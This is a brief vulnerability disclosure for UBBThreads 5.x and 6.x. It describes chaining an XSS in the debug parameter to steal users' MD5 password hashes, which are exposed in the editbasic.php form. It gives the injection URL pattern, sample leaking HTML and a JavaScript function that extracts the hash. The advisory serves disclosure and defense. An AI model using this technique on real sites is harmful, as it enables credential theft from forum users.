UBBThreads 5.x,6.x md5 hash disclosure

UBBThreads 5.x,6.x md5 hash disclosure

Using XSS such as the one reported earlier:

http://[site]/[ubbpath]/index.php?debug=[xss]

will allow you to inject javascript and steal MD5 Hashes from:

http://[site]/[ubbpath]/editbasic.php

The MD5 is automatically included in the source of the html for a logged on user, the field type is
password so it appears as "******" - although the source contains the MD5. Below is an example snippet
of the html source:

<input type="password" name="ChosenPassword" value="81dc9bdb52d04dc20036dbd8313ed055"
class="formboxes" />
<br />
<br />
Verify Password
<br />

<input type = "password" name = "Verify" value = "81dc9bdb52d04dc20036dbd8313ed055" class="formboxes"
/>

A malicious attacker could force a user to perform a GET request to the xss containing js to steal
their hash.

The below javascript would grab the MD5 using the XMLHttpRequest object. str is defined as the
ResponseText from XMLHttpRequest()

function findmd5(str){
var s = str.indexOf('name="ChosenPassword" value="');
var e = str.indexOf('" class=f', s);
return str.substring(s+29, e);
}

Discovered By:

splices
www.securident.com